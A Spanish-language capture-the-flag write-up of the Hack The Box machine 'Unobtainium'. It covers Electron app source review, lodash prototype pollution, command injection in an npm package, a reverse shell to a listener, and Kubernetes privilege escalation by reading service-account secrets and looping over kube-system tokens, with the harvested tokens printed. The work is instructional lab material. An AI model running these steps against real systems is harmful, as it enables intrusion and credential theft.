En Unobtainium, encontramos una aplicacion en Electron, el codigo fuente nos guio a multiples vulnerabilidades para explotar y obtener acceso. Tras una enumeracion notamos que es un entorno relacionado a Kubernetes, explotamos con un script las aplicaciones para acceder a informacion de acceso, con ello logramos escapar del contenedor y obtener acceso al host.
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-06-10 23:49:59 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]Discovered open port 2380/tcp on 10.10.10.235
Discovered open port 10250/tcp on 10.10.10.235
Discovered open port 2379/tcp on 10.10.10.235
Discovered open port 80/tcp on 10.10.10.235
Discovered open port 22/tcp on 10.10.10.235
Discovered open port 31337/tcp on 10.10.10.235
Discovered open port 10256/tcp on 10.10.10.235
Discovered open port 8443/tcp on 10.10.10.235
Nmap scan report for unobtainium.htb (10.10.10.235)Host is up (0.073s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|3072 e4:bf:68:42:e5:74:4b:06:58:78:bd:ed:1e:6a:df:66 (RSA)|256 bd:88:a1:d9:19:a0:12:35:ca:d3:fa:63:76:48:dc:65 (ECDSA)|_ 256 cf:c4:19:25:19:fa:6e:2e:b7:a4:aa:7d:c3:f1:3d:9b (ED25519)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: Unobtainium
2379/tcp open ssl/etcd-client?
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-01-17T07:10:30
|_Not valid after: 2022-01-17T07:10:30
|_ssl-date: TLS randomness does not represent time| tls-alpn:
|_ h2
| tls-nextprotoneg:
|_ h2
2380/tcp open ssl/etcd-server?
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-01-17T07:10:30
|_Not valid after: 2022-01-17T07:10:30
|_ssl-date: TLS randomness does not represent time| tls-alpn:
|_ h2
| tls-nextprotoneg:
|_ h2
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium@1610865428
| Subject Alternative Name: DNS:unobtainium
| Not valid before: 2021-01-17T05:37:08
|_Not valid after: 2022-01-17T05:37:08
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain;charset=utf-8).
31337/tcp open http Node.js Express framework
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8443/tcp open ssl/https-alt
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Thu, 10 Jun 2021 21:29:09 GMT
| Content-Length: 212
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Thu, 10 Jun 2021 21:29:08 GMT
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Thu, 10 Jun 2021 21:29:09 GMT
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.10.235, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2021-06-09T20:33:11
|_Not valid after: 2022-06-10T20:33:11
|_ssl-date: TLS randomness does not represent time| tls-alpn:
| h2
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web site
Encontramos una pagina la cual muestra opciones para descarga de una “aplicacion” en diferentes formatos para sistemas linux.
Feroxbuster
Feroxbuster muestra directorios que se encuentran el index.
Descargamos el programa que se muestra en la pagina principal con extension ".deb", el archivo descargado es un zip, y contiene el paquete unobtainium_1.0.0_amd64.deb y archivo hash MD5.
1
2
3
4
5
6
7
8
π ~/htb/unobtainium/tmp ❯ l
total 105M
drwxr-xr-x 3 kali kali 4.0K Jun 10 17:26 .
drwxr-xr-x 5 kali kali 4.0K Jun 10 19:53 ..
-rw-r--r-- 1 kali kali 53M Jan 19 01:16 unobtainium_1.0.0_amd64.deb
-rw-r--r-- 1 kali kali 62 Mar 24 06:22 unobtainium_1.0.0_amd64.deb.md5sum
-rw-r--r-- 1 kali kali 53M Mar 24 06:23 unobtainium_debian.zip
π ~/htb/unobtainium/tmp ❯
Extract .DEB
Utilizamos dpkg-deb para extraer el contenido del paquete, dentro encontramos la aplicacion opt/unobtainium/unobtainium, tambien el changelog.gz, además vemos un archivo app.asar.
El changelog solo muestra la version, el constructor (FPM) del paquete, un nombre de usuario (felamos) y un dominio (unobtainium.htb) el cual agregamos a nuestro archivo /etc/hosts.
1
2
3
4
5
6
π ~/htb/unobtainium/tmp/extract/usr/share/doc/unobtainium ❯ cat changelog
unobtainium (1.0.0) whatever;urgency=medium
* Package created with FPM.
-- felamos <felamos@unobtainium.htb> Mon, 18 Jan 2021 22:15:14 -0800
APP
Al ejecutar unobtainium se muestra un mensaje acerca del dominio unobtainium.htb, un dashboard y multiples opciones.
Enviar mensajes.
Ultimos mensajes.
Tras enviar un mensaje, este se muestra en Messaje Log en formato json.
{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}
Asar - Electron App
En la carpeta resources/ se encuentra el archivo app.asar el cual esta relacionado a Electron, por lo que estrajimos los archivos utilizando asar, y con ello el codigo fuente de la aplicacion.
En el codigo fuente encontramos solicitudes PUT, POST y GET hacia la direccion http://unobtainium.htb:31337/, vemos que realiza algun tipo de autenticacion junto con credenciales cuando envia mensajes, y estos son enviados en formato JSON, tambien se muestra una solicitud para la lectura de un archivo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// app.js
$(document).ready(function(){$("#but_submit").click(function(){varmessage=$("#message").val().trim();$.ajax({url:'http://unobtainium.htb:31337/',type:'put',dataType:'json',contentType:'application/json',processData:false,data:JSON.stringify({"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":message}}),success:function(data){//$("#output").html(JSON.stringify(data));
$("#output").html("Message has been sent!");}});});});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//check.js
$.ajax({url:"http://unobtainium.htb:31337",type:"HEAD",timeout:1000,statusCode:{200:function(response){},400:function(response){alert('Unable to reach unobtainium.htb');},0:function(response){alert('Unable to reach unobtainium.htb');}}});
Con el codigo fuente encontrado interactuamos con la API, principalmente en la solicitud POST para la lectura de archivos. Al no enviar ningun parametro obtuvimos un error en el que se muestra la direccion donde se encuentra la aplicacion (/usr/src/app/), el nombre del archivo de la aplicacion (index.js) y algunas librerias.
1
2
3
4
5
6
7
8
9
10
11
12
# {"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : ""}Error: ENOENT: no such file or directory, open
at Object.openSync (fs.js:476:3) at Object.readFileSync (fs.js:377:35) at /usr/src/app/index.js:86:41
at Array.forEach (<anonymous>) at /usr/src/app/index.js:84:36
at Layer.handle [as handle_request](/usr/src/app/node_modules/express/lib/router/layer.js:95:5) at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request](/usr/src/app/node_modules/express/lib/router/layer.js:95:5) at /usr/src/app/node_modules/express/lib/router/index.js:281:22
Mediante la ruta /todo y el parametro filename obtuvimos acceso al codigo fuente de la aplicacion y el archivo package.json que contiene la descripcion y dependencias. En el codigo fuente encontramos:
Un nombre de usuario: admin y, caracteristicas como: poder eliminar y subir archivos, las cuales el usuario felamos no tiene.
Una funcion (findUser) para la anutenticacion de usuarios en users.
Vemos la ruta (/upload) para subir archivos y un metodo (DELETE) para eliminar mensajes.
Los archivos que pueden ser “leidos” deben de estar en /usr/src/app.
//{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "package.json"}
{"name":"Unobtainium-Server","version":"1.0.0","description":"API Service for Electron client","main":"index.js","scripts":{"start":"node index.js"},"author":"felamos","license":"ISC","dependencies":{"body-parser":"1.18.3","express":"4.16.4","lodash":"4.17.4","google-cloudstorage-commands":"0.0.1"},"devDependencies":{}}
EXPLOTACION LOCAL
NPM
Utilizamos estos dos archivos (index.js,packaje.json) para instalar las dependencias y ejecutar la aplicacion, aunque inicialmente se ejecuto npm audit, el cual mostró multiples vulnerabilidades en lodash<=4.17.20, una de estas calificada como alta.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
π ~/htb/unobtainium/tests ❯ npm audit
# npm audit reportlodash <=4.17.20
Severity: high
Prototype Pollution - https://npmjs.com/advisories/1065
Prototype Pollution - https://npmjs.com/advisories/1523
Command Injection - https://npmjs.com/advisories/1673
Prototype Pollution - https://npmjs.com/advisories/577
Prototype Pollution - https://npmjs.com/advisories/782
fix available via `npm audit fix --force`Will install lodash@4.17.21, which is outside the stated dependency range
node_modules/lodash
1 high severity vulnerability
To address all issues, run:
npm audit fix --force
π ~/htb/unobtainium/tests ❯
Prototype Pollution
Tras analizar el codigo fuente encontramos que el metodo .merge es vulnerable a Prototype Pollution (1, 2, 3, 4), por lo que es posible modificar un objeto.
Ejecutamos la aplicacion localmente para realizar varios tests, y, poder tomar ventaja de las caracteristicas del usuario admin con un payload modificando/dando los permisos a felamos.
Tras enviar la solicitud, verificamos que el usuario no obtuviera el mensaje "Access denied". En la direccion /upload y con el metodo DELETE en /, se obtuvo un mensaje que indicaba que tenia acceso a estas direcciones.
1
2
3
{"ok":true}
Command Injection
La ruta /upload requiere un nombre de archivo, el cual es utilizado para subir archivos, aunque este utiliza google-cloudstorage-commands el cual tiene la vulnerabilidad de Command Injection la cual afecta a todas las versiones.
Luego de enviar la solicitud, localmente se creo el archivo cmd.txt, por lo que “podriamos” ejecutar una shell inversa para obtener acceso.
1
2
3
4
5
6
7
8
π ~/htb/unobtainium/tests ❯ ll
total 48K
-rw-r--r-- 1 kali kali 0 Jun 11 18:46 cmd.txt
-rw-r--r-- 1 kali kali 2.8K Jun 11 18:35 index.js
drwxr-xr-x 53 kali kali 4.0K Jun 11 18:03 node_modules
-rw-r--r-- 1 kali kali 416 Jun 11 18:23 package.json
-rw-r--r-- 1 kali kali 33K Jun 11 18:23 package-lock.json
π ~/htb/unobtainium/tests ❯
Shell - Container
Tras identificar y explotar las vulnerabilidades en la API localmente, se replicó la explotacion en la maquina, ejecutando una shell inversa utilizando perl.
π ~/htb/unobtainium ❯ rlwrap nc -lvp 1338listening on [any]1338 ...
connect to [10.10.14.10] from unobtainium.htb [10.10.10.235]51850/bin/sh: 0: can't access tty; job control turned off
python -c 'import pty; pty.spawn("/bin/bash");'root@webapp-deployment-5d764566f4-lrpt9:/usr/src/app# ls -lah
total 64K
drwxr-xr-x 1 root root 4.0K Jun 12 00:40 .
drwxr-xr-x 1 root root 4.0K Feb 21 22:43 ..
-rw-r--r-- 1 root root 491 Mar 24 09:55 Dockerfile
-rw-r--r-- 1 root root 46 Jan 21 15:01 clear-kubectl
-rw-r--r-- 1 root root 119 Jun 11 23:49 hello.txt
-rw-rw-r-- 1 root root 3.5K Feb 15 17:45 index.js
drwxr-xr-x 53 root root 4.0K Feb 21 22:43 node_modules
-rw-rw-r-- 1 root root 15K Jan 16 17:14 package-lock.json
-rw-rw-r-- 1 root root 395 Jan 16 17:14 package.json
-rw-r--r-- 1 root root 101 Jun 12 00:38 tmp
-rw-rw-r-- 1 root root 262 Jan 17 03:41 todo.txt
-rw-r--r-- 1 root root 14 Jun 12 01:05 x
root@webapp-deployment-5d764566f4-lrpt9:/usr/src/app# cd /root
root@webapp-deployment-5d764566f4-lrpt9:~# ls -lah
total 12K
drwxr-xr-x 2 root root 4.0K Feb 21 22:43 .
drwxr-xr-x 1 root root 4.0K Jun 11 22:04 ..
-rw-r--r-- 2 root root 33 Jun 11 22:04 user.txt
root@webapp-deployment-5d764566f4-lrpt9:~# cat user.txt
9566ee99c9bbdbfda4fc4b5bc5628417
root@webapp-deployment-5d764566f4-lrpt9:~#
Privesc - Kubernetes
Listando los directorios (/) vemos el archivo .dockerenv que indica que es un contenedor, sin embargo, al listar las variables de entorno, encontramos variables que indican que es un contenedor (ó pod) de Kubernetes.
Siguiendo la guia de hacktricks obtuvimos informacion. Inicialmente configuramos una variable para la ejecucion de kubectl en la cual agregamos el token y el certificado los cuales encontramos en /run/secrets/kubernetes.io/serviceaccount junto con la direccion IP del servidor el cual encontramos en las variables de entorno.
Con ello enumeramos los namespaces, ademas, listamos los actions que tenemos en cada uno, solamente en dev podemos listar los pods, en los demás solo los namespaces, es decir estamos limitados a listar.
root@webapp-deployment-5d764566f4-lrpt9:~# exportkube="/root/kiub --token=$(cat /run/secrets/kubernetes.io/serviceaccount/token) --certificate-authority=/run/secrets/kubernetes.io/serviceaccount/ca.crt --server=https://10.96.0.1:443"root@webapp-deployment-5d764566f4-lrpt9:~# $kube get namespaces
NAME STATUS AGE
default Active 149d
dev Active 149d
kube-node-lease Active 149d
kube-public Active 149d
kube-system Active 149d
root@webapp-deployment-5d764566f4-lrpt9:~# $kube auth can-i --list -n dev
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [][][create]selfsubjectrulesreviews.authorization.k8s.io [][][create]namespaces [][][get list]pods [][][get list][/.well-known/openid-configuration][][get][/api/*][][get][/api][][get][/apis/*][][get][/apis][][get][/healthz][][get][/healthz][][get][/livez][][get][/livez][][get][/openapi/*][][get][/openapi][][get][/openid/v1/jwks][][get][/readyz][][get][/readyz][][get][/version/][][get][/version/][][get][/version][][get][/version][][get]
Pod Dev
Enumeramos los pods en dev y encontramos tres, realizamos solicitudes con curl, describimos cada uno de estos y encontramos que son una replica de la web app de Unobtainium API en la cual obtuvimos acceso.
Con los tokens y certificados podemos enumerar las acciones que podemos ejecutar en los namespaces, y con suerte alguno de estos podria darnos acceso a otro tipo de action.
Utilizamos un for para enumerar los secrets en el namespace kube-system especificamente los tokens, además grepeamos el output para mostrar las acciones create .
El output del for es muy grande pero buscamos principalmente un token que tenga permitido crear pods. Vemos que uno de estos tokens (pestaña 1) puede crear pods, incluso algunas otras acciones, además vemos multiples tokens (pestaña 2) que tienen un resultado similar.
1
2
3
4
5
6
7
8
9
10
11
12
eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJwZXJzaXN0ZW50LXZvbHVtZS1iaW5kZXItdG9rZW4tZmQyOTIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoicGVyc2lzdGVudC12b2x1bWUtYmluZGVyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiZTBmNGRkMjAtNTA2ZS00NWY2LTg5Y2MtMDY4MTVlNzY5ZTk0Iiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOnBlcnNpc3RlbnQtdm9sdW1lLWJpbmRlciJ9.QrwIUdAKVoBZcoCGn5DTDYw9EyhdA9WU2Uj5snWJo-J59iPljVBhdhdnoDEAwWXzCE76PN_EBUIF87KnAc0PUk8h5xEgykNErplvZ-7mpZI6s-wq180BTf6A4Ej-x-27Vo4pEKsFUbDLd_eY9vAIlXFoMFTheDjDgl-IXq4g0-QMDPxiGut5Z4DBc-RPmvt3csc-Wrs-ZjAhpL6PoscRqNEgsoeV5bpYbtp3kvAJ5hKdDeboj3-1H-iQL3RbDhMAyqsT-lINoDaHAImo5umWZlHeDQBDeZgNxMwqLkbBgQVCTNgcAQlt218yLi9LQLIWMOUTyyfLp0i3_TepH3rwLA
persistentvolumes [][][create delete get list update watch]pods [][][create delete get list watch]endpoints [][][create delete get update]services [][][create delete get]events.events.k8s.io [][][create patch update]selfsubjectaccessreviews.authorization.k8s.io [][][create]selfsubjectrulesreviews.authorization.k8s.io [][][create]persistentvolumeclaims [][][get list update watch]persistentvolumeclaims/status [][][update]persistentvolumes/status [][][update]events [][][watch create patch update]
root@webapp-deployment-5d764566f4-lrpt9:~/k_info# for token in `/root/kiub --token=$(cat /root/k_info/k6) --certificate-authority=/root/k_info/k6_cert --server=https://10.96.0.1:443 describe secrets -n kube-system | grep "token:"| cut -d " " -f 7`;doecho"token: $token"; /root/kiub --token $token auth can-i --list | grep "create\|update"; echo;doneeyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJnZW5lcmljLWdhcmJhZ2UtY29sbGVjdG9yLXRva2VuLTJobmc0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImdlbmVyaWMtZ2FyYmFnZS1jb2xsZWN0b3IiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiI3M2U1NzUxZi01MWIxLTQ1N2UtOTU2NC0wMTY2NjZlYTAxNzEiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Z2VuZXJpYy1nYXJiYWdlLWNvbGxlY3RvciJ9.CO6tGO3YjvE47qPEbXdoEh8Ec1J8F5v0Quqye_eG9FiAU7rASYipmFu7d_EnKi07zhjjM9ydit4gFho9XhEKq8RdwoIufkd2EGLpnHGjAZFy2uR_vam9jmepZOMj5Foebasm4zO93bXQT1y5JLvR07OxeZ71eNm9SqblPATqI7EVcERn3YPnOrLdPkpsx-LQFICfUR8TrgqmoBXYwyj93UC9e53jdAE-HOebpuYVV2kFUk3zYGcsZMErgSUMetDGqyfNgu4dNFX2eau8RZ-MTfn0eK1j_KqjonqbnITVEz0b70b6FRAMWGOhNYKLVC3_l-dnTW2mmsFWMppLTgO_yg
events [][][create patch update]events.events.k8s.io [][][create patch update]selfsubjectaccessreviews.authorization.k8s.io [][][create]selfsubjectrulesreviews.authorization.k8s.io [][][create]*.* [][][delete get list patch update watch]eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJwZXJzaXN0ZW50LXZvbHVtZS1iaW5kZXItdG9rZW4tZmQyOTIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoicGVyc2lzdGVudC12b2x1bWUtYmluZGVyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiZTBmNGRkMjAtNTA2ZS00NWY2LTg5Y2MtMDY4MTVlNzY5ZTk0Iiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOnBlcnNpc3RlbnQtdm9sdW1lLWJpbmRlciJ9.QrwIUdAKVoBZcoCGn5DTDYw9EyhdA9WU2Uj5snWJo-J59iPljVBhdhdnoDEAwWXzCE76PN_EBUIF87KnAc0PUk8h5xEgykNErplvZ-7mpZI6s-wq180BTf6A4Ej-x-27Vo4pEKsFUbDLd_eY9vAIlXFoMFTheDjDgl-IXq4g0-QMDPxiGut5Z4DBc-RPmvt3csc-Wrs-ZjAhpL6PoscRqNEgsoeV5bpYbtp3kvAJ5hKdDeboj3-1H-iQL3RbDhMAyqsT-lINoDaHAImo5umWZlHeDQBDeZgNxMwqLkbBgQVCTNgcAQlt218yLi9LQLIWMOUTyyfLp0i3_TepH3rwLA
persistentvolumes [][][create delete get list update watch]pods [][][create delete get list watch]endpoints [][][create delete get update]services [][][create delete get]events.events.k8s.io [][][create patch update]selfsubjectaccessreviews.authorization.k8s.io [][][create]selfsubjectrulesreviews.authorization.k8s.io [][][create]persistentvolumeclaims [][][get list update watch]persistentvolumeclaims/status [][][update]persistentvolumes/status [][][update]events [][][watch create patch update]eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJyZXBsaWNhc2V0LWNvbnRyb2xsZXItdG9rZW4tYnpidDgiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoicmVwbGljYXNldC1jb250cm9sbGVyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiODEwNWE2NGUtZTgzOS00YmU5LWFkMDctNWE2NjhhNmUyZjFiIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOnJlcGxpY2FzZXQtY29udHJvbGxlciJ9.v7Xi-BTZIPjlPZBYIE_rEyrqWvb8criBypNBVR25ANKSJdgG6LIq5uBwnX7WKoMc0jb2mB_70wpMAtsOl0XRU576wuxLf6lQK5YLh-VzoOA6mltZqR2l1DKCunrAwwcPMSttiY-0gyGlxjDiXxBevRlMd0qWYr9EubS62IRFqXg0KyEzUl9xQU7Lysctl3JsYB7MNefwAtTUENIWhkzKgeOf_dx-jGLBrCE5icUXrFcRBYMH5jUwWb__wN42jgxOGGKzXnG2aPkvmmAIevZP_Fmdlw9HuCa1t2-dZ_94JoNRy_43tgKkprKqy6XU_QDPdfN7N1T1igh4ThmH3v3KDg
pods [][][create delete list patch watch]events [][][create patch update]events.events.k8s.io [][][create patch update]selfsubjectaccessreviews.authorization.k8s.io [][][create]selfsubjectrulesreviews.authorization.k8s.io [][][create]replicasets.apps [][][get list update watch]replicasets.extensions [][][get list update watch]replicasets.apps/finalizers [][][update]replicasets.apps/status [][][update]replicasets.extensions/finalizers [][][update]replicasets.extensions/status [][][update]eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJyZXBsaWNhdGlvbi1jb250cm9sbGVyLXRva2VuLWp6OGs4Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6InJlcGxpY2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJhNzg1YWY5MS1hMmZmLTQxZmEtYWQ3Zi02ODhjMGVlNDJiMWIiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06cmVwbGljYXRpb24tY29udHJvbGxlciJ9.lbUjkDsY_B8GhgvAIOXW6olyhNSzmJAJtDh0Jfc2RFMErenHEG9KuFnY-ufyhNSqf10_5Lb_fkz2-Sg3YIcxksghFzGIMote1GktWNAHCKslMqUfnv7x48lp1Nzhy7zvhNe-EVEdYRUpOXxdI5YdKPVVNBFUwStqfKuNThFB6lsyGFxynMUIK5Oqu2hvV4afhaja9WKZWxi2drUvHgDJYylbach1WMf_jWc7SIYhxpd8oYi84HUxpj2tlQHa1L4gy0XTFgvoeEY-NhllQ2vsimMQEvQRTeUVdoA0l1YVWkPb4SnIQR6cI3hmpxRlY3bxUIVr9-_fo6Zt3D2IFik0nA
pods [][][create delete list patch watch]events [][][create patch update]events.events.k8s.io [][][create patch update]selfsubjectaccessreviews.authorization.k8s.io [][][create]selfsubjectrulesreviews.authorization.k8s.io [][][create]replicationcontrollers [][][get list update watch]replicationcontrollers/finalizers [][][update]replicationcontrollers/status [][][update]eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJzdGF0ZWZ1bHNldC1jb250cm9sbGVyLXRva2VuLXoybnNkIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6InN0YXRlZnVsc2V0LWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiI4Y2IxZGFjZC1jNTI2LTQ2MmQtYWNiNi04NDdmNzYxNTUyNGIiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06c3RhdGVmdWxzZXQtY29udHJvbGxlciJ9.SejnrSrA4uMb3nIZ_vOplF8A1dEHgH4sTWkd6H3Nawaye-IvgdIYifaZvw8Chl_hS_SjuVdn17PI6cfgcg2B77zvJEFgqhfs4IXJg5SIoaEp-kB5oKYh7jt3SvVl0lZ78X77dKkECp54esYpVmwUQQjjS3pgCgwZKl3-V1SgPomWHiHAuxmh9r6VRLExhUFbCvhCW6XmOgTN7BJIOMwG_WUmsmqTcQSed3lM_IZCvaLy8ykDpNOTkJkFWDd7fXEhBADhuaizq0qk4YDAmsF-dRIBvhwATCt9L3iIb6oEoC9iirNOrXglSXgVXsW2sEcbJCPbHXAtIq--SYNWBE_PFw
